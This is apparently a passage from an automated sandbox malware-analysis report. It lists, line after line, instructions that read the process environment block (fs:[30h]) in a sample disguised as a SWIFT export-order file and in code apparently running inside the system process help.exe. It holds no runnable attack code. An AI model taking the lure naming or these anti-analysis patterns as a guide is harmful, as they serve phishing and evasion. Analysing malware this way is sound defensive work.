Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01447016 mov eax, dword ptr fs:[00000030h] 8_2_01447016
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01447016 mov eax, dword ptr fs:[00000030h] 8_2_01447016
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E746D mov eax, dword ptr fs:[00000030h] 8_2_013E746D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01494015 mov eax, dword ptr fs:[00000030h] 8_2_01494015
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01494015 mov eax, dword ptr fs:[00000030h] 8_2_01494015
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E0050 mov eax, dword ptr fs:[00000030h] 8_2_013E0050
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E0050 mov eax, dword ptr fs:[00000030h] 8_2_013E0050
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FF0BF mov ecx, dword ptr fs:[00000030h] 8_2_013FF0BF
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FF0BF mov eax, dword ptr fs:[00000030h] 8_2_013FF0BF
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FF0BF mov eax, dword ptr fs:[00000030h] 8_2_013FF0BF
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145B8D0 mov eax, dword ptr fs:[00000030h] 8_2_0145B8D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145B8D0 mov ecx, dword ptr fs:[00000030h] 8_2_0145B8D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145B8D0 mov eax, dword ptr fs:[00000030h] 8_2_0145B8D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145B8D0 mov eax, dword ptr fs:[00000030h] 8_2_0145B8D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145B8D0 mov eax, dword ptr fs:[00000030h] 8_2_0145B8D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145B8D0 mov eax, dword ptr fs:[00000030h] 8_2_0145B8D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01498CD6 mov eax, dword ptr fs:[00000030h] 8_2_01498CD6
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014814FB mov eax, dword ptr fs:[00000030h] 8_2_014814FB
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446CF0 mov eax, dword ptr fs:[00000030h] 8_2_01446CF0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446CF0 mov eax, dword ptr fs:[00000030h] 8_2_01446CF0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446CF0 mov eax, dword ptr fs:[00000030h] 8_2_01446CF0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9080 mov eax, dword ptr fs:[00000030h] 8_2_013C9080
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01443884 mov eax, dword ptr fs:[00000030h] 8_2_01443884
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01443884 mov eax, dword ptr fs:[00000030h] 8_2_01443884
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014090AF mov eax, dword ptr fs:[00000030h] 8_2_014090AF
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FE730 mov eax, dword ptr fs:[00000030h] 8_2_013FE730
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01498B58 mov eax, dword ptr fs:[00000030h] 8_2_01498B58
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C4F2E mov eax, dword ptr fs:[00000030h] 8_2_013C4F2E
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C4F2E mov eax, dword ptr fs:[00000030h] 8_2_013C4F2E
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01498F6A mov eax, dword ptr fs:[00000030h] 8_2_01498F6A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0149070D mov eax, dword ptr fs:[00000030h] 8_2_0149070D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0149070D mov eax, dword ptr fs:[00000030h] 8_2_0149070D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F3B7A mov eax, dword ptr fs:[00000030h] 8_2_013F3B7A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F3B7A mov eax, dword ptr fs:[00000030h] 8_2_013F3B7A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0148131B mov eax, dword ptr fs:[00000030h] 8_2_0148131B
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145FF10 mov eax, dword ptr fs:[00000030h] 8_2_0145FF10
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145FF10 mov eax, dword ptr fs:[00000030h] 8_2_0145FF10
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CDB60 mov ecx, dword ptr fs:[00000030h] 8_2_013CDB60
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DFF60 mov eax, dword ptr fs:[00000030h] 8_2_013DFF60
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CF358 mov eax, dword ptr fs:[00000030h] 8_2_013CF358
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CDB40 mov eax, dword ptr fs:[00000030h] 8_2_013CDB40
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DEF40 mov eax, dword ptr fs:[00000030h] 8_2_013DEF40
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FB390 mov eax, dword ptr fs:[00000030h] 8_2_013FB390
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D1B8F mov eax, dword ptr fs:[00000030h] 8_2_013D1B8F
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D1B8F mov eax, dword ptr fs:[00000030h] 8_2_013D1B8F
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014037F5 mov eax, dword ptr fs:[00000030h] 8_2_014037F5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0148138A mov eax, dword ptr fs:[00000030h] 8_2_0148138A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0147D380 mov ecx, dword ptr fs:[00000030h] 8_2_0147D380
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01447794 mov eax, dword ptr fs:[00000030h] 8_2_01447794
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01447794 mov eax, dword ptr fs:[00000030h] 8_2_01447794
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01447794 mov eax, dword ptr fs:[00000030h] 8_2_01447794
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01495BA5 mov eax, dword ptr fs:[00000030h] 8_2_01495BA5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01454257 mov eax, dword ptr fs:[00000030h] 8_2_01454257
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CE620 mov eax, dword ptr fs:[00000030h] 8_2_013CE620
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E3A1C mov eax, dword ptr fs:[00000030h] 8_2_013E3A1C
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0147B260 mov eax, dword ptr fs:[00000030h] 8_2_0147B260
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0147B260 mov eax, dword ptr fs:[00000030h] 8_2_0147B260
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01498A62 mov eax, dword ptr fs:[00000030h] 8_2_01498A62
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0140927A mov eax, dword ptr fs:[00000030h] 8_2_0140927A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CC600 mov eax, dword ptr fs:[00000030h] 8_2_013CC600
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CC600 mov eax, dword ptr fs:[00000030h] 8_2_013CC600
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CC600 mov eax, dword ptr fs:[00000030h] 8_2_013CC600
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EAE73 mov eax, dword ptr fs:[00000030h] 8_2_013EAE73
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EAE73 mov eax, dword ptr fs:[00000030h] 8_2_013EAE73
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EAE73 mov eax, dword ptr fs:[00000030h] 8_2_013EAE73
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EAE73 mov eax, dword ptr fs:[00000030h] 8_2_013EAE73
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EAE73 mov eax, dword ptr fs:[00000030h] 8_2_013EAE73
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D766D mov eax, dword ptr fs:[00000030h] 8_2_013D766D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0147FE3F mov eax, dword ptr fs:[00000030h] 8_2_0147FE3F
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9240 mov eax, dword ptr fs:[00000030h] 8_2_013C9240
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9240 mov eax, dword ptr fs:[00000030h] 8_2_013C9240
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9240 mov eax, dword ptr fs:[00000030h] 8_2_013C9240
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9240 mov eax, dword ptr fs:[00000030h] 8_2_013C9240
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D7E41 mov eax, dword ptr fs:[00000030h] 8_2_013D7E41
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D7E41 mov eax, dword ptr fs:[00000030h] 8_2_013D7E41
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D7E41 mov eax, dword ptr fs:[00000030h] 8_2_013D7E41
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D7E41 mov eax, dword ptr fs:[00000030h] 8_2_013D7E41
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D7E41 mov eax, dword ptr fs:[00000030h] 8_2_013D7E41
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D7E41 mov eax, dword ptr fs:[00000030h] 8_2_013D7E41
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0147FEC0 mov eax, dword ptr fs:[00000030h] 8_2_0147FEC0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01408EC7 mov eax, dword ptr fs:[00000030h] 8_2_01408EC7
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DAAB0 mov eax, dword ptr fs:[00000030h] 8_2_013DAAB0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DAAB0 mov eax, dword ptr fs:[00000030h] 8_2_013DAAB0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FFAB0 mov eax, dword ptr fs:[00000030h] 8_2_013FFAB0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C52A5 mov eax, dword ptr fs:[00000030h] 8_2_013C52A5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C52A5 mov eax, dword ptr fs:[00000030h] 8_2_013C52A5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C52A5 mov eax, dword ptr fs:[00000030h] 8_2_013C52A5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C52A5 mov eax, dword ptr fs:[00000030h] 8_2_013C52A5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C52A5 mov eax, dword ptr fs:[00000030h] 8_2_013C52A5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01498ED6 mov eax, dword ptr fs:[00000030h] 8_2_01498ED6
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FD294 mov eax, dword ptr fs:[00000030h] 8_2_013FD294
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FD294 mov eax, dword ptr fs:[00000030h] 8_2_013FD294
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145FE87 mov eax, dword ptr fs:[00000030h] 8_2_0145FE87
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F16E0 mov ecx, dword ptr fs:[00000030h] 8_2_013F16E0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D76E2 mov eax, dword ptr fs:[00000030h] 8_2_013D76E2
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014446A7 mov eax, dword ptr fs:[00000030h] 8_2_014446A7
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01490EA5 mov eax, dword ptr fs:[00000030h] 8_2_01490EA5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01490EA5 mov eax, dword ptr fs:[00000030h] 8_2_01490EA5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01490EA5 mov eax, dword ptr fs:[00000030h] 8_2_01490EA5
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F36CC mov eax, dword ptr fs:[00000030h] 8_2_013F36CC
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302131B mov eax, dword ptr fs:[00000030h] 20_2_0302131B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92AE4 mov eax, dword ptr fs:[00000030h] 20_2_02F92AE4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92ACB mov eax, dword ptr fs:[00000030h] 20_2_02F92ACB
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7AAB0 mov eax, dword ptr fs:[00000030h] 20_2_02F7AAB0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7AAB0 mov eax, dword ptr fs:[00000030h] 20_2_02F7AAB0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9FAB0 mov eax, dword ptr fs:[00000030h] 20_2_02F9FAB0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F652A5 mov eax, dword ptr fs:[00000030h] 20_2_02F652A5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F652A5 mov eax, dword ptr fs:[00000030h] 20_2_02F652A5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F652A5 mov eax, dword ptr fs:[00000030h] 20_2_02F652A5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F652A5 mov eax, dword ptr fs:[00000030h] 20_2_02F652A5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F652A5 mov eax, dword ptr fs:[00000030h] 20_2_02F652A5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03038B58 mov eax, dword ptr fs:[00000030h] 20_2_03038B58
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9D294 mov eax, dword ptr fs:[00000030h] 20_2_02F9D294
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9D294 mov eax, dword ptr fs:[00000030h] 20_2_02F9D294
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA927A mov eax, dword ptr fs:[00000030h] 20_2_02FA927A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0301D380 mov ecx, dword ptr fs:[00000030h] 20_2_0301D380
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302138A mov eax, dword ptr fs:[00000030h] 20_2_0302138A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03035BA5 mov eax, dword ptr fs:[00000030h] 20_2_03035BA5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FF4257 mov eax, dword ptr fs:[00000030h] 20_2_02FF4257
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69240 mov eax, dword ptr fs:[00000030h] 20_2_02F69240
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69240 mov eax, dword ptr fs:[00000030h] 20_2_02F69240
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69240 mov eax, dword ptr fs:[00000030h] 20_2_02F69240
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69240 mov eax, dword ptr fs:[00000030h] 20_2_02F69240
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA4A2C mov eax, dword ptr fs:[00000030h] 20_2_02FA4A2C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA4A2C mov eax, dword ptr fs:[00000030h] 20_2_02FA4A2C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6AA16 mov eax, dword ptr fs:[00000030h] 20_2_02F6AA16
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6AA16 mov eax, dword ptr fs:[00000030h] 20_2_02F6AA16
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F83A1C mov eax, dword ptr fs:[00000030h] 20_2_02F83A1C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F65210 mov eax, dword ptr fs:[00000030h] 20_2_02F65210
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F65210 mov ecx, dword ptr fs:[00000030h] 20_2_02F65210
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F65210 mov eax, dword ptr fs:[00000030h] 20_2_02F65210
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F65210 mov eax, dword ptr fs:[00000030h] 20_2_02F65210
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F78A0A mov eax, dword ptr fs:[00000030h] 20_2_02F78A0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8DBE9 mov eax, dword ptr fs:[00000030h] 20_2_02F8DBE9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302AA16 mov eax, dword ptr fs:[00000030h] 20_2_0302AA16
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302AA16 mov eax, dword ptr fs:[00000030h] 20_2_0302AA16
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F903E2 mov eax, dword ptr fs:[00000030h] 20_2_02F903E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F903E2 mov eax, dword ptr fs:[00000030h] 20_2_02F903E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F903E2 mov eax, dword ptr fs:[00000030h] 20_2_02F903E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F903E2 mov eax, dword ptr fs:[00000030h] 20_2_02F903E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F903E2 mov eax, dword ptr fs:[00000030h] 20_2_02F903E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F903E2 mov eax, dword ptr fs:[00000030h] 20_2_02F903E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE53CA mov eax, dword ptr fs:[00000030h] 20_2_02FE53CA
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE53CA mov eax, dword ptr fs:[00000030h] 20_2_02FE53CA
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F94BAD mov eax, dword ptr fs:[00000030h] 20_2_02F94BAD
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F94BAD mov eax, dword ptr fs:[00000030h] 20_2_02F94BAD
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F94BAD mov eax, dword ptr fs:[00000030h] 20_2_02F94BAD
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302EA55 mov eax, dword ptr fs:[00000030h] 20_2_0302EA55
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0301B260 mov eax, dword ptr fs:[00000030h] 20_2_0301B260
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0301B260 mov eax, dword ptr fs:[00000030h] 20_2_0301B260
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03038A62 mov eax, dword ptr fs:[00000030h] 20_2_03038A62
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9B390 mov eax, dword ptr fs:[00000030h] 20_2_02F9B390
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92397 mov eax, dword ptr fs:[00000030h] 20_2_02F92397
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F71B8F mov eax, dword ptr fs:[00000030h] 20_2_02F71B8F
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F71B8F mov eax, dword ptr fs:[00000030h] 20_2_02F71B8F
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F93B7A mov eax, dword ptr fs:[00000030h] 20_2_02F93B7A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F93B7A mov eax, dword ptr fs:[00000030h] 20_2_02F93B7A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6DB60 mov ecx, dword ptr fs:[00000030h] 20_2_02F6DB60
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6F358 mov eax, dword ptr fs:[00000030h] 20_2_02F6F358
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6DB40 mov eax, dword ptr fs:[00000030h] 20_2_02F6DB40
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F640E1 mov eax, dword ptr fs:[00000030h] 20_2_02F640E1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F640E1 mov eax, dword ptr fs:[00000030h] 20_2_02F640E1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F640E1 mov eax, dword ptr fs:[00000030h] 20_2_02F640E1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F658EC mov eax, dword ptr fs:[00000030h] 20_2_02F658EC
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFB8D0 mov eax, dword ptr fs:[00000030h] 20_2_02FFB8D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFB8D0 mov ecx, dword ptr fs:[00000030h] 20_2_02FFB8D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFB8D0 mov eax, dword ptr fs:[00000030h] 20_2_02FFB8D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFB8D0 mov eax, dword ptr fs:[00000030h] 20_2_02FFB8D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFB8D0 mov eax, dword ptr fs:[00000030h] 20_2_02FFB8D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFB8D0 mov eax, dword ptr fs:[00000030h] 20_2_02FFB8D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9F0BF mov ecx, dword ptr fs:[00000030h] 20_2_02F9F0BF
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9F0BF mov eax, dword ptr fs:[00000030h] 20_2_02F9F0BF
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9F0BF mov eax, dword ptr fs:[00000030h] 20_2_02F9F0BF
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA90AF mov eax, dword ptr fs:[00000030h] 20_2_02FA90AF
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 mov eax, dword ptr fs:[00000030h] 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 mov eax, dword ptr fs:[00000030h] 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 mov eax, dword ptr fs:[00000030h] 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 mov eax, dword ptr fs:[00000030h] 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 mov eax, dword ptr fs:[00000030h] 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 mov eax, dword ptr fs:[00000030h] 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69080 mov eax, dword ptr fs:[00000030h] 20_2_02F69080
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE3884 mov eax, dword ptr fs:[00000030h] 20_2_02FE3884
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE3884 mov eax, dword ptr fs:[00000030h] 20_2_02FE3884
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030249A4 mov eax, dword ptr fs:[00000030h] 20_2_030249A4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030249A4 mov eax, dword ptr fs:[00000030h] 20_2_030249A4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030249A4 mov eax, dword ptr fs:[00000030h] 20_2_030249A4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030249A4 mov eax, dword ptr fs:[00000030h] 20_2_030249A4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F80050 mov eax, dword ptr fs:[00000030h] 20_2_02F80050
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F80050 mov eax, dword ptr fs:[00000030h] 20_2_02F80050
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9002D mov eax, dword ptr fs:[00000030h] 20_2_02F9002D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9002D mov eax, dword ptr fs:[00000030h] 20_2_02F9002D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9002D mov eax, dword ptr fs:[00000030h] 20_2_02F9002D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9002D mov eax, dword ptr fs:[00000030h] 20_2_02F9002D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9002D mov eax, dword ptr fs:[00000030h] 20_2_02F9002D
